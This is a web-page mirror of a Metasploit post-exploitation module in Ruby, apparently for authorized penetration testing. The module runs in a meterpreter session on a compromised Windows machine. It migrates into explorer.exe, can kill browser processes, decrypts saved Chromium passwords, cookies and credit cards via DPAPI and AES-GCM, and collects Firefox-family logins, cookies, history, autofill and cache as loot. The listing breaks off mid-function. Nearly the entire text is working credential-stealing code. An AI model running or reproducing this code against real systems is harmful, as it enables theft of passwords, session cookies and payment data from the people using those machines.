CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/windows/gather/enum_browsers.rb
Views: 11655
1
require 'sqlite3'
2
3
class MetasploitModule < Msf::Post
4
include Msf::Post::File
5
include Msf::Post::Windows::UserProfiles
6
7
IV_SIZE = 12
8
TAG_SIZE = 16
9
10
def initialize(info = {})
11
super(
12
update_info(
13
info,
14
'Name' => 'Advanced Browser Data Extraction for Chromium and Gecko Browsers',
15
'Description' => %q{
16
This post-exploitation module extracts sensitive browser data from both Chromium-based and Gecko-based browsers
17
on the target system. It supports the decryption of passwords and cookies using Windows Data Protection API (DPAPI)
18
and can extract additional data such as browsing history, keyword search history, download history, autofill data,
19
credit card information, browser cache and installed extensions.
20
},
21
'License' => MSF_LICENSE,
22
'Platform' => ['win'],
23
'Arch' => [ ARCH_X64, ARCH_X86 ],
24
'Targets' => [['Windows', {}]],
25
'SessionTypes' => ['meterpreter'],
26
'Author' => ['Alexander "xaitax" Hagenah'],
27
'Notes' => {
28
'Stability' => [CRASH_SAFE],
29
'Reliability' => [],
30
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
31
}
32
)
33
)
34
35
register_options([
36
OptBool.new('KILL_BROWSER', [false, 'Kill browser processes before extracting data.', false]),
37
OptBool.new('USER_MIGRATION', [false, 'Migrate to explorer.exe running under user context before extraction.', false]),
38
OptString.new('BROWSER_TYPE', [true, 'Specify which browser to extract data from. Accepts "all" to process all browsers, "chromium" for Chromium-based browsers, "gecko" for Gecko-based browsers, or a specific browser name (e.g., "chrome", "edge", "firefox").', 'all']),
39
OptBool.new('EXTRACT_CACHE', [false, 'Extract browser cache (may take a long time). It is recommended to set "KILL_BROWSER" to "true" for best results, as this prevents file access issues.', false])
40
])
41
end
42
43
def run
44
if session.type != 'meterpreter'
45
print_error('This module requires a meterpreter session.')
46
return
47
end
48
49
user_account = session.sys.config.getuid
50
51
if user_account.downcase.include?('nt authority\\system')
52
if datastore['USER_MIGRATION']
53
migrate_to_explorer
54
else
55
print_error('Session is running as SYSTEM. Use the Meterpreter migrate command or set USER_MIGRATION to true to switch to a user context.')
56
return
57
end
58
end
59
60
sysinfo = session.sys.config.sysinfo
61
os = sysinfo['OS']
62
architecture = sysinfo['Architecture']
63
language = sysinfo['System Language']
64
computer = sysinfo['Computer']
65
66
user_profile = get_env('USERPROFILE')
67
user_account = session.sys.config.getuid
68
ip_address = session.sock.peerhost
69
70
if user_profile.nil? || user_profile.empty?
71
print_error('Could not determine the current user profile directory.')
72
return
73
end
74
75
print_status("Targeting: #{user_account} (IP: #{ip_address})")
76
print_status("System Information: #{computer} | OS: #{os} | Arch: #{architecture} | Lang: #{language}")
77
print_status("Starting data extraction from user profile: #{user_profile}")
78
print_status('')
79
80
case datastore['BROWSER_TYPE'].downcase
81
when 'chromium'
82
process_chromium_browsers(user_profile)
83
when 'gecko'
84
process_gecko_browsers(user_profile)
85
when 'all'
86
process_chromium_browsers(user_profile)
87
process_gecko_browsers(user_profile)
88
else
89
process_specific_browser(user_profile, datastore['BROWSER_TYPE'])
90
end
91
end
92
93
def migrate_to_explorer
94
current_pid = session.sys.process.getpid
95
explorer_process = session.sys.process.get_processes.find { |p| p['name'].downcase == 'explorer.exe' }
96
97
if explorer_process
98
explorer_pid = explorer_process['pid']
99
if explorer_pid == current_pid
100
print_status("Already running in explorer.exe (PID: #{explorer_pid}). No need to migrate.")
101
return
102
end
103
104
print_status("Found explorer.exe running with PID: #{explorer_pid}. Attempting migration.")
105
106
begin
107
session.core.migrate(explorer_pid)
108
print_good("Successfully migrated to explorer.exe (PID: #{explorer_pid}).")
109
rescue Rex::Post::Meterpreter::RequestError => e
110
print_error("Failed to migrate to explorer.exe (PID: #{explorer_pid}). Error: #{e.message}")
111
end
112
else
113
print_error('explorer.exe process not found. Migration aborted.')
114
end
115
end
116
117
def chromium_browsers
118
{
119
'Microsoft\\Edge\\' => 'Microsoft Edge',
120
'Google\\Chrome\\' => 'Google Chrome',
121
'Opera Software\\Opera Stable' => 'Opera',
122
'Iridium\\' => 'Iridium',
123
'Chromium\\' => 'Chromium',
124
'BraveSoftware\\Brave-Browser\\' => 'Brave',
125
'CentBrowser\\' => 'CentBrowser',
126
'Chedot\\' => 'Chedot',
127
'Orbitum\\' => 'Orbitum',
128
'Comodo\\Dragon\\' => 'Comodo Dragon',
129
'Yandex\\YandexBrowser\\' => 'Yandex Browser',
130
'7Star\\7Star\\' => '7Star',
131
'Torch\\' => 'Torch',
132
'MapleStudio\\ChromePlus\\' => 'ChromePlus',
133
'Kometo\\' => 'Komet',
134
'Amigo\\' => 'Amigo',
135
'Sputnik\\Sputnik\\' => 'Sputnik',
136
'CatalinaGroup\\Citrio\\' => 'Citrio',
137
'360Chrome\\Chrome\\' => '360Chrome',
138
'uCozMedia\\Uran\\' => 'Uran',
139
'liebao\\' => 'Liebao',
140
'Elements Browser\\' => 'Elements Browser',
141
'Epic Privacy Browser\\' => 'Epic Privacy Browser',
142
'CocCoc\\Browser\\' => 'CocCoc Browser',
143
'Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer' => 'Sleipnir',
144
'QIP Surf\\' => 'QIP Surf',
145
'Coowon\\Coowon\\' => 'Coowon',
146
'Vivaldi\\' => 'Vivaldi'
147
}
148
end
149
150
def gecko_browsers
151
{
152
'Mozilla\\Firefox\\' => 'Mozilla Firefox',
153
'Thunderbird\\' => 'Thunderbird',
154
'Mozilla\\SeaMonkey\\' => 'SeaMonkey',
155
'NETGATE Technologies\\BlackHawk\\' => 'BlackHawk',
156
'8pecxstudios\\Cyberfox\\' => 'Cyberfox',
157
'K-Meleon\\' => 'K-Meleon',
158
'Mozilla\\icecat\\' => 'Icecat',
159
'Moonchild Productions\\Pale Moon\\' => 'Pale Moon',
160
'Comodo\\IceDragon\\' => 'Comodo IceDragon',
161
'Waterfox\\' => 'Waterfox',
162
'Postbox\\' => 'Postbox',
163
'Flock\\Browser\\' => 'Flock Browser'
164
}
165
end
166
167
def process_specific_browser(user_profile, browser_type)
168
found = false
169
browser_type_downcase = browser_type.downcase
170
171
chromium_browsers.each do |path, name|
172
next unless name.downcase.include?(browser_type_downcase)
173
174
print_status("Processing Chromium-based browser: #{name}")
175
process_chromium_browsers(user_profile, { path => name })
176
found = true
177
break
178
end
179
180
gecko_browsers.each do |path, name|
181
next unless name.downcase.include?(browser_type_downcase)
182
183
print_status("Processing Gecko-based browser: #{name}")
184
process_gecko_browsers(user_profile, { path => name })
185
found = true
186
break
187
end
188
189
unless found
190
print_error("No browser matching '#{browser_type}' found.")
191
end
192
end
193
194
def process_chromium_browsers(user_profile, browsers = chromium_browsers)
195
browsers.each do |path, name|
196
if name == 'Opera'
197
profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Default"
198
local_state = "#{user_profile}\\AppData\\Roaming\\#{path}\\Local State"
199
else
200
profile_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Default"
201
browser_version_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Last Version"
202
local_state = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Local State"
203
end
204
205
next unless directory?(profile_path)
206
207
browser_version = get_chromium_version(browser_version_path)
208
print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")
209
210
kill_browser_process(name) if datastore['KILL_BROWSER']
211
212
if datastore['EXTRACT_CACHE']
213
process_chromium_cache(profile_path, name)
214
end
215
216
encryption_key = get_chromium_encryption_key(local_state)
217
extract_chromium_data(profile_path, encryption_key, name)
218
end
219
end
220
221
def get_chromium_version(last_version_path)
222
return nil unless file?(last_version_path)
223
224
version = read_file(last_version_path).strip
225
return version unless version.empty?
226
227
nil
228
end
229
230
def process_gecko_browsers(user_profile, browsers = gecko_browsers)
231
browsers.each do |path, name|
232
profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Profiles"
233
next unless directory?(profile_path)
234
235
found_browser = false
236
237
session.fs.dir.entries(profile_path).each do |profile_dir|
238
next if profile_dir == '.' || profile_dir == '..'
239
240
prefs_file = "#{profile_path}\\#{profile_dir}\\prefs.js"
241
browser_version = get_gecko_version(prefs_file)
242
243
unless found_browser
244
print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")
245
found_browser = true
246
end
247
248
kill_browser_process(name) if datastore['KILL_BROWSER']
249
250
if datastore['EXTRACT_CACHE']
251
process_gecko_cache("#{profile_path}\\#{profile_dir}", name)
252
end
253
254
extract_gecko_data("#{profile_path}\\#{profile_dir}", name)
255
end
256
end
257
end
258
259
def get_gecko_version(prefs_file)
260
return nil unless file?(prefs_file)
261
262
version_line = read_file(prefs_file).lines.find { |line| line.include?('extensions.lastAppVersion') }
263
264
if version_line && version_line =~ /"extensions\.lastAppVersion",\s*"(\d+\.\d+\.\d+)"/
265
return Regexp.last_match(1)
266
end
267
268
nil
269
end
270
271
def kill_browser_process(browser)
272
browser_process_names = {
273
'Microsoft Edge' => 'msedge.exe',
274
'Google Chrome' => 'chrome.exe',
275
'Opera' => 'opera.exe',
276
'Iridium' => 'iridium.exe',
277
'Chromium' => 'chromium.exe',
278
'Brave' => 'brave.exe',
279
'CentBrowser' => 'centbrowser.exe',
280
'Chedot' => 'chedot.exe',
281
'Orbitum' => 'orbitum.exe',
282
'Comodo Dragon' => 'dragon.exe',
283
'Yandex Browser' => 'browser.exe',
284
'7Star' => '7star.exe',
285
'Torch' => 'torch.exe',
286
'ChromePlus' => 'chromeplus.exe',
287
'Komet' => 'komet.exe',
288
'Amigo' => 'amigo.exe',
289
'Sputnik' => 'sputnik.exe',
290
'Citrio' => 'citrio.exe',
291
'360Chrome' => '360chrome.exe',
292
'Uran' => 'uran.exe',
293
'Liebao' => 'liebao.exe',
294
'Elements Browser' =>
295
'elementsbrowser.exe',
296
'Epic Privacy Browser' => 'epic.exe',
297
'CocCoc Browser' => 'browser.exe',
298
'Sleipnir' => 'sleipnir.exe',
299
'QIP Surf' => 'qipsurf.exe',
300
'Coowon' => 'coowon.exe',
301
'Vivaldi' => 'vivaldi.exe'
302
}
303
304
process_name = browser_process_names[browser]
305
return unless process_name
306
307
session.sys.process.get_processes.each do |process|
308
next unless process['name'].downcase == process_name.downcase
309
310
begin
311
session.sys.process.kill(process['pid'])
312
rescue Rex::Post::Meterpreter::RequestError
313
next
314
end
315
end
316
317
sleep(5)
318
end
319
320
def decrypt_chromium_data(encrypted_data)
321
vprint_status('Starting DPAPI decryption process.')
322
begin
323
mem = session.railgun.kernel32.LocalAlloc(0, encrypted_data.length)['return']
324
raise 'Memory allocation failed.' if mem == 0
325
326
session.railgun.memwrite(mem, encrypted_data)
327
328
if session.arch == ARCH_X86
329
inout_fmt = 'V2'
330
elsif session.arch == ARCH_X64
331
inout_fmt = 'Q2'
332
else
333
fail_with(Failure::NoTarget, "Unsupported architecture: #{session.arch}")
334
end
335
336
pdatain = [encrypted_data.length, mem].pack(inout_fmt)
337
ret = session.railgun.crypt32.CryptUnprotectData(
338
pdatain, nil, nil, nil, nil, 0, 2048
339
)
340
len, addr = ret['pDataOut'].unpack(inout_fmt)
341
decrypted_data = len == 0 ? nil : session.railgun.memread(addr, len)
342
343
vprint_good('Decryption successful.')
344
return decrypted_data.strip
345
rescue StandardError => e
346
vprint_error("Error during DPAPI decryption: #{e.message}")
347
return nil
348
ensure
349
session.railgun.kernel32.LocalFree(mem) if mem != 0
350
session.railgun.kernel32.LocalFree(addr) if addr != 0
351
end
352
end
353
354
def get_chromium_encryption_key(local_state_path)
355
vprint_status("Getting encryption key from: #{local_state_path}")
356
if file?(local_state_path)
357
local_state = read_file(local_state_path)
358
json_state = begin
359
JSON.parse(local_state)
360
rescue StandardError
361
nil
362
end
363
if json_state.nil?
364
print_error('Failed to parse JSON from Local State file.')
365
return nil
366
end
367
368
if json_state['os_crypt'] && json_state['os_crypt']['encrypted_key']
369
encrypted_key = json_state['os_crypt']['encrypted_key']
370
encrypted_key_bin = begin
371
Rex::Text.decode_base64(encrypted_key)[5..]
372
rescue StandardError
373
nil
374
end
375
if encrypted_key_bin.nil?
376
print_error('Failed to Base64 decode the encrypted key.')
377
return nil
378
end
379
380
vprint_status("Encrypted key (Base64-decoded, hex): #{encrypted_key_bin.unpack('H*').first}")
381
decrypted_key = decrypt_chromium_data(encrypted_key_bin)
382
383
if decrypted_key.nil? || decrypted_key.length != 32
384
vprint_error("Decrypted key is not 32 bytes: #{decrypted_key.nil? ? 'nil' : decrypted_key.length} bytes")
385
if decrypted_key.length == 31
386
vprint_status('Decrypted key is 31 bytes, attempting to pad key for decryption.')
387
decrypted_key += "\x00"
388
else
389
return nil
390
end
391
end
392
vprint_good("Decrypted key (hex): #{decrypted_key.unpack('H*').first}")
393
return decrypted_key
394
else
395
print_error('os_crypt or encrypted_key not found in Local State.')
396
return nil
397
end
398
else
399
print_error("Local State file not found at: #{local_state_path}")
400
return nil
401
end
402
end
403
404
def decrypt_chromium_password(encrypted_password, key)
405
@app_bound_encryption_detected ||= false
406
@password_decryption_failed ||= false
407
408
# Check for the "v20" prefix that indicates App-Bound encryption, which can't be decrypted yet.
409
# https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
410
if encrypted_password[0, 3] == 'v20'
411
unless @app_bound_encryption_detected
412
vprint_status('Detected entries using App-Bound encryption (v20). These entries will not be decrypted.')
413
@app_bound_encryption_detected = true
414
end
415
return nil
416
end
417
418
if encrypted_password.nil? || encrypted_password.length < (IV_SIZE + TAG_SIZE + 3)
419
vprint_error('Invalid encrypted password length.')
420
return nil
421
end
422
423
iv = encrypted_password[3, IV_SIZE]
424
ciphertext = encrypted_password[IV_SIZE + 3...-TAG_SIZE]
425
tag = encrypted_password[-TAG_SIZE..]
426
427
if iv.nil? || iv.length != IV_SIZE
428
vprint_error("Invalid IV: expected #{IV_SIZE} bytes, got #{iv.nil? ? 'nil' : iv.length} bytes")
429
return nil
430
end
431
432
begin
433
aes = OpenSSL::Cipher.new('aes-256-gcm')
434
aes.decrypt
435
aes.key = key
436
aes.iv = iv
437
aes.auth_tag = tag
438
decrypted_password = aes.update(ciphertext) + aes.final
439
return decrypted_password
440
rescue OpenSSL::Cipher::CipherError
441
unless @password_decryption_failed
442
vprint_status('Password decryption failed for one or more entries. These entries could not be decrypted.')
443
@password_decryption_failed = true
444
end
445
return nil
446
end
447
end
448
449
def extract_chromium_data(profile_path, encryption_key, browser)
450
return print_error("Profile path #{profile_path} not found.") unless directory?(profile_path)
451
452
process_chromium_logins(profile_path, encryption_key, browser)
453
process_chromium_cookies(profile_path, encryption_key, browser)
454
process_chromium_credit_cards(profile_path, encryption_key, browser)
455
process_chromium_download_history(profile_path, browser)
456
process_chromium_autofill_data(profile_path, browser)
457
process_chromium_keyword_search_history(profile_path, browser)
458
process_chromium_browsing_history(profile_path, browser)
459
process_chromium_bookmarks(profile_path, browser)
460
process_chromium_extensions(profile_path, browser)
461
end
462
463
def process_chromium_logins(profile_path, encryption_key, browser)
464
login_data_path = "#{profile_path}\\Login Data"
465
if file?(login_data_path)
466
extract_sql_data(login_data_path, 'SELECT origin_url, username_value, password_value FROM logins', 'Passwords', browser, encryption_key)
467
else
468
vprint_error("Passwords not found at #{login_data_path}")
469
end
470
end
471
472
def process_chromium_cookies(profile_path, encryption_key, browser)
473
cookies_path = "#{profile_path}\\Network\\Cookies"
474
if file?(cookies_path)
475
begin
476
extract_sql_data(cookies_path, 'SELECT host_key, name, path, encrypted_value FROM cookies', 'Cookies', browser, encryption_key)
477
rescue StandardError => e
478
if e.message.include?('core_channel_open')
479
print_error('└ Cannot access Cookies. File in use by another process.')
480
else
481
print_error("└ An error occurred while extracting cookies: #{e.message}")
482
end
483
end
484
else
485
vprint_error("└ Cookies not found at #{cookies_path}")
486
end
487
end
488
489
def process_chromium_credit_cards(profile_path, encryption_key, browser)
490
credit_card_data_path = "#{profile_path}\\Web Data"
491
if file?(credit_card_data_path)
492
extract_sql_data(credit_card_data_path, 'SELECT * FROM credit_cards', 'Credit Cards', browser, encryption_key)
493
else
494
vprint_error("Credit Cards not found at #{credit_card_data_path}")
495
end
496
end
497
498
def process_chromium_download_history(profile_path, browser)
499
download_history_path = "#{profile_path}\\History"
500
if file?(download_history_path)
501
extract_sql_data(download_history_path, 'SELECT * FROM downloads', 'Download History', browser)
502
else
503
vprint_error("Download History not found at #{download_history_path}")
504
end
505
end
506
507
def process_chromium_autofill_data(profile_path, browser)
508
autofill_data_path = "#{profile_path}\\Web Data"
509
if file?(autofill_data_path)
510
extract_sql_data(autofill_data_path, 'SELECT * FROM autofill', 'Autofill Data', browser)
511
else
512
vprint_error("Autofill data not found at #{autofill_data_path}")
513
end
514
end
515
516
def process_chromium_keyword_search_history(profile_path, browser)
517
keyword_search_history_path = "#{profile_path}\\History"
518
if file?(keyword_search_history_path)
519
extract_sql_data(keyword_search_history_path, 'SELECT term FROM keyword_search_terms', 'Keyword Search History', browser)
520
else
521
vprint_error("Keyword Search History not found at #{keyword_search_history_path}")
522
end
523
end
524
525
def process_chromium_browsing_history(profile_path, browser)
526
browsing_history_path = "#{profile_path}\\History"
527
if file?(browsing_history_path)
528
extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_time FROM urls', 'Browsing History', browser)
529
else
530
vprint_error("Browsing History not found at #{browsing_history_path}")
531
end
532
end
533
534
def process_chromium_bookmarks(profile_path, browser)
535
bookmarks_path = "#{profile_path}\\Bookmarks"
536
return unless file?(bookmarks_path)
537
538
bookmarks_data = read_file(bookmarks_path)
539
bookmarks_json = JSON.parse(bookmarks_data)
540
541
bookmarks = []
542
if bookmarks_json['roots']['bookmark_bar']
543
traverse_and_collect_bookmarks(bookmarks_json['roots']['bookmark_bar'], bookmarks)
544
end
545
if bookmarks_json['roots']['other']
546
traverse_and_collect_bookmarks(bookmarks_json['roots']['other'], bookmarks)
547
end
548
549
if bookmarks.any?
550
browser_clean = browser.gsub('\\', '_').chomp('_')
551
timestamp = Time.now.strftime('%Y%m%d%H%M')
552
ip = session.sock.peerhost
553
bookmark_entries = JSON.pretty_generate(bookmarks)
554
file_name = store_loot("#{browser_clean}_Bookmarks", 'application/json', session, bookmark_entries, "#{timestamp}_#{ip}_#{browser_clean}_Bookmarks.json", "#{browser_clean} Bookmarks")
555
556
print_good("└ Bookmarks extracted to #{file_name} (#{bookmarks.length} entries)")
557
else
558
vprint_error("No bookmarks found for #{browser}.")
559
end
560
end
561
562
def traverse_and_collect_bookmarks(bookmark_node, bookmarks)
563
if bookmark_node['children']
564
bookmark_node['children'].each do |child|
565
if child['type'] == 'url'
566
bookmarks << { name: child['name'], url: child['url'] }
567
elsif child['type'] == 'folder' && child['children']
568
traverse_and_collect_bookmarks(child, bookmarks)
569
end
570
end
571
end
572
end
573
574
def process_chromium_extensions(profile_path, browser)
575
extensions_dir = "#{profile_path}\\Extensions\\"
576
return unless directory?(extensions_dir)
577
578
extensions = []
579
session.fs.dir.entries(extensions_dir).each do |extension_id|
580
extension_path = "#{extensions_dir}\\#{extension_id}"
581
next unless directory?(extension_path)
582
583
session.fs.dir.entries(extension_path).each do |version_folder|
584
next if version_folder == '.' || version_folder == '..'
585
586
manifest_path = "#{extension_path}\\#{version_folder}\\manifest.json"
587
next unless file?(manifest_path)
588
589
manifest_data = read_file(manifest_path)
590
manifest_json = JSON.parse(manifest_data)
591
592
extension_name = manifest_json['name']
593
extension_version = manifest_json['version']
594
595
if extension_name.start_with?('__MSG_')
596
extension_name = resolve_chromium_extension_name(extension_path, extension_name, version_folder)
597
end
598
599
extensions << { 'name' => extension_name, 'version' => extension_version }
600
end
601
end
602
603
if extensions.any?
604
browser_clean = browser.gsub('\\', '_').chomp('_')
605
timestamp = Time.now.strftime('%Y%m%d%H%M')
606
ip = session.sock.peerhost
607
file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")
608
print_good("└ Extensions extracted to #{file_name} (#{extensions.count} entries)")
609
else
610
vprint_error("No extensions found for #{browser}.")
611
end
612
end
613
614
def resolve_chromium_extension_name(extension_path, name_key, version_folder)
615
resolved_key = name_key.gsub('__MSG_', '').gsub('__', '')
616
617
locales_dir = "#{extension_path}\\#{version_folder}\\_locales"
618
unless directory?(locales_dir)
619
return name_key
620
end
621
622
english_messages_path = "#{locales_dir}\\en\\messages.json"
623
if file?(english_messages_path)
624
messages_data = read_file(english_messages_path)
625
messages_json = JSON.parse(messages_data)
626
627
messages_json.each do |key, value|
628
if key.casecmp?(resolved_key) && value['message']
629
return value['message']
630
end
631
end
632
return name_key
633
end
634
635
session.fs.dir.entries(locales_dir).each do |locale_folder|
636
next if locale_folder == '.' || locale_folder == '..' || locale_folder == 'en'
637
638
messages_path = "#{locales_dir}\\#{locale_folder}\\messages.json"
639
next unless file?(messages_path)
640
641
messages_data = read_file(messages_path)
642
messages_json = JSON.parse(messages_data)
643
644
messages_json.each do |key, value|
645
if key.casecmp?(resolved_key) && value['message']
646
return value['message']
647
end
648
end
649
end
650
651
return name_key
652
end
653
654
def process_chromium_cache(profile_path, browser)
655
cache_dir = "#{profile_path}\\Cache\\"
656
return unless directory?(cache_dir)
657
658
total_size = 0
659
file_count = 0
660
files_to_zip = []
661
662
session.fs.dir.foreach(cache_dir) do |subdir|
663
next if subdir == '.' || subdir == '..'
664
665
subdir_path = "#{cache_dir}\\#{subdir}"
666
667
if directory?(subdir_path)
668
session.fs.dir.foreach(subdir_path) do |file|
669
next if file == '.' || file == '..'
670
671
file_path = "#{subdir_path}\\#{file}"
672
673
if file?(file_path)
674
file_stat = session.fs.file.stat(file_path)
675
file_size = file_stat.stathash['st_size']
676
total_size += file_size
677
file_count += 1
678
files_to_zip << file_path
679
end
680
end
681
end
682
end
683
684
print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")
685
686
if file_count > 0
687
temp_dir = session.fs.file.expand_path('%TEMP%')
688
random_name = Rex::Text.rand_text_alpha(8)
689
zip_file_path = "#{temp_dir}\\#{random_name}.zip"
690
691
zip = Rex::Zip::Archive.new
692
progress_interval = (file_count / 10.0).ceil
693
694
files_to_zip.each_with_index do |file, index|
695
file_content = read_file(file)
696
zip.add_file(file, file_content) if file_content
697
698
if (index + 1) % progress_interval == 0 || index == file_count - 1
699
progress_percent = ((index + 1) * 100 / file_count).to_i
700
print_status("Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")
701
end
702
end
703
704
write_file(zip_file_path, zip.pack)
705
print_status("Cache for #{browser} zipped to: #{zip_file_path}")
706
707
browser_clean = browser.gsub('\\', '_').chomp('_')
708
timestamp = Time.now.strftime('%Y%m%d%H%M')
709
ip = session.sock.peerhost
710
cache_local_path = store_loot(
711
"#{browser_clean}_Cache",
712
'application/zip',
713
session,
714
read_file(zip_file_path),
715
"#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",
716
"#{browser_clean} Cache"
717
)
718
719
file_size = ::File.size(cache_local_path)
720
print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2
721
722
session.fs.file.rm(zip_file_path)
723
else
724
vprint_status("No Cache files found for #{browser}.")
725
end
726
end
727
728
def extract_gecko_data(profile_path, browser)
729
process_gecko_logins(profile_path, browser)
730
process_gecko_cookies(profile_path, browser)
731
process_gecko_download_history(profile_path, browser)
732
process_gecko_keyword_search_history(profile_path, browser)
733
process_gecko_browsing_history(profile_path, browser)
734
process_gecko_bookmarks(profile_path, browser)
735
process_gecko_extensions(profile_path, browser)
736
end
737
738
def process_gecko_logins(profile_path, browser)
739
logins_path = "#{profile_path}\\logins.json"
740
return unless file?(logins_path)
741
742
logins_data = read_file(logins_path)
743
logins_json = JSON.parse(logins_data)
744
745
if logins_json['logins'].any?
746
browser_clean = browser.gsub('\\', '_').chomp('_')
747
timestamp = Time.now.strftime('%Y%m%d%H%M')
748
ip = session.sock.peerhost
749
file_name = store_loot("#{browser_clean}_Passwords", 'application/json', session, "#{JSON.pretty_generate(logins_json)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Passwords.json", "#{browser_clean} Passwords")
750
751
print_good("└ Passwords extracted to #{file_name} (#{logins_json['logins'].length} entries)")
752
else
753
vprint_error("└ No passwords found for #{browser}.")
754
end
755
end
756
757
def process_gecko_cookies(profile_path, browser)
758
cookies_path = "#{profile_path}\\cookies.sqlite"
759
if file?(cookies_path)
760
extract_sql_data(cookies_path, 'SELECT host, name, path, value, expiry FROM moz_cookies', 'Cookies', browser)
761
else
762
vprint_error("└ Cookies not found at #{cookies_path}")
763
end
764
end
765
766
def process_gecko_download_history(profile_path, browser)
767
download_history_path = "#{profile_path}\\places.sqlite"
768
if file?(download_history_path)
769
extract_sql_data(download_history_path, 'SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id', 'Download History', browser)
770
else
771
vprint_error("└ Download History not found at #{download_history_path}")
772
end
773
end
774
775
def process_gecko_keyword_search_history(profile_path, browser)
776
keyword_search_history_path = "#{profile_path}\\formhistory.sqlite"
777
if file?(keyword_search_history_path)
778
extract_sql_data(keyword_search_history_path, 'SELECT value FROM moz_formhistory', 'Keyword Search History', browser)
779
else
780
vprint_error("└ Keyword Search History not found at #{keyword_search_history_path}")
781
end
782
end
783
784
def process_gecko_browsing_history(profile_path, browser)
785
browsing_history_path = "#{profile_path}\\places.sqlite"
786
if file?(browsing_history_path)
787
extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_date FROM moz_places', 'Browsing History', browser)
788
else
789
vprint_error("└ Browsing History not found at #{browsing_history_path}")
790
end
791
end
792
793
def process_gecko_bookmarks(profile_path, browser)
794
bookmarks_path = "#{profile_path}\\places.sqlite"
795
if file?(bookmarks_path)
796
extract_sql_data(bookmarks_path, 'SELECT moz_bookmarks.title AS title, moz_places.url AS url FROM moz_bookmarks JOIN moz_places ON moz_bookmarks.fk = moz_places.id', 'Bookmarks', browser)
797
else
798
vprint_error("└ Bookmarks not found at #{bookmarks_path}")
799
end
800
end
801
802
def process_gecko_extensions(profile_path, browser)
803
addons_path = "#{profile_path}\\addons.json"
804
return unless file?(addons_path)
805
806
addons_data = read_file(addons_path)
807
addons_json = JSON.parse(addons_data)
808
809
extensions = []
810
811
if addons_json['addons']
812
addons_json['addons'].each do |addon|
813
extension_name = addon['name']
814
extension_version = addon['version']
815
extensions << { 'name' => extension_name, 'version' => extension_version }
816
end
817
end
818
819
if extensions.any?
820
browser_clean = browser.gsub('\\', '_').chomp('_')
821
timestamp = Time.now.strftime('%Y%m%d%H%M')
822
ip = session.sock.peerhost
823
file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")
824
825
print_good("└ Extensions extracted to #{file_name} (#{extensions.length} entries)")
826
else
827
vprint_error("└ No extensions found for #{browser}.")
828
end
829
end
830
831
def process_gecko_cache(profile_path, browser)
832
cache_dir = "#{profile_path.gsub('Roaming', 'Local')}\\cache2\\entries"
833
return unless directory?(cache_dir)
834
835
total_size = 0
836
file_count = 0
837
files_to_zip = []
838
839
session.fs.dir.foreach(cache_dir) do |file|
840
next if file == '.' || file == '..'
841
842
file_path = "#{cache_dir}\\#{file}"
843
844
if file?(file_path)
845
file_stat = session.fs.file.stat(file_path)
846
file_size = file_stat.stathash['st_size']
847
total_size += file_size
848
file_count += 1
849
files_to_zip << file_path
850
end
851
end
852
853
print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")
854
855
if file_count > 0
856
temp_dir = session.fs.file.expand_path('%TEMP%')
857
random_name = Rex::Text.rand_text_alpha(8)
858
zip_file_path = "#{temp_dir}\\#{random_name}.zip"
859
860
zip = Rex::Zip::Archive.new
861
progress_interval = (file_count / 10.0).ceil
862
863
files_to_zip.each_with_index do |file, index|
864
file_content = read_file(file)
865
zip.add_file(file, file_content) if file_content
866
867
if (index + 1) % progress_interval == 0 || index == file_count - 1
868
progress_percent = ((index + 1) * 100 / file_count).to_i
869
print_status("└ Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")
870
end
871
end
872
873
write_file(zip_file_path, zip.pack)
874
print_status("└ Cache for #{browser} zipped to: #{zip_file_path}")
875
876
browser_clean = browser.gsub('\\', '_').chomp('_')
877
timestamp = Time.now.strftime('%Y%m%d%H%M')
878
ip = session.sock.peerhost
879
cache_local_path = store_loot(
880
"#{browser_clean}_Cache",
881
'application/zip',
882
session,
883
read_file(zip_file_path),
884
"#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",
885
"#{browser_clean} Cache"
886
)
887
888
file_size = ::File.size(cache_local_path)
889
print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2
890
891
session.fs.file.rm(zip_file_path)
892
else
893
vprint_status("└ No Cache files found for #{browser}.")
894
end
895
end
896
897
def extract_sql_data(db_path, query, data_type, browser, encryption_key = nil)
898
if file?(db_path)
899
db_local_path = "#{Rex::Text.rand_text_alpha(8, 12)}.db"
900
session.fs.file.download_file(db_local_path, db_path)
901
902
begin
903
columns, *result = SQLite3::Database.open(db_local_path) do |db|
904
db.execute2(query)
905
end
906
907
if encryption_key
908
result.each do |row|
909
next unless row[-1]
910
911
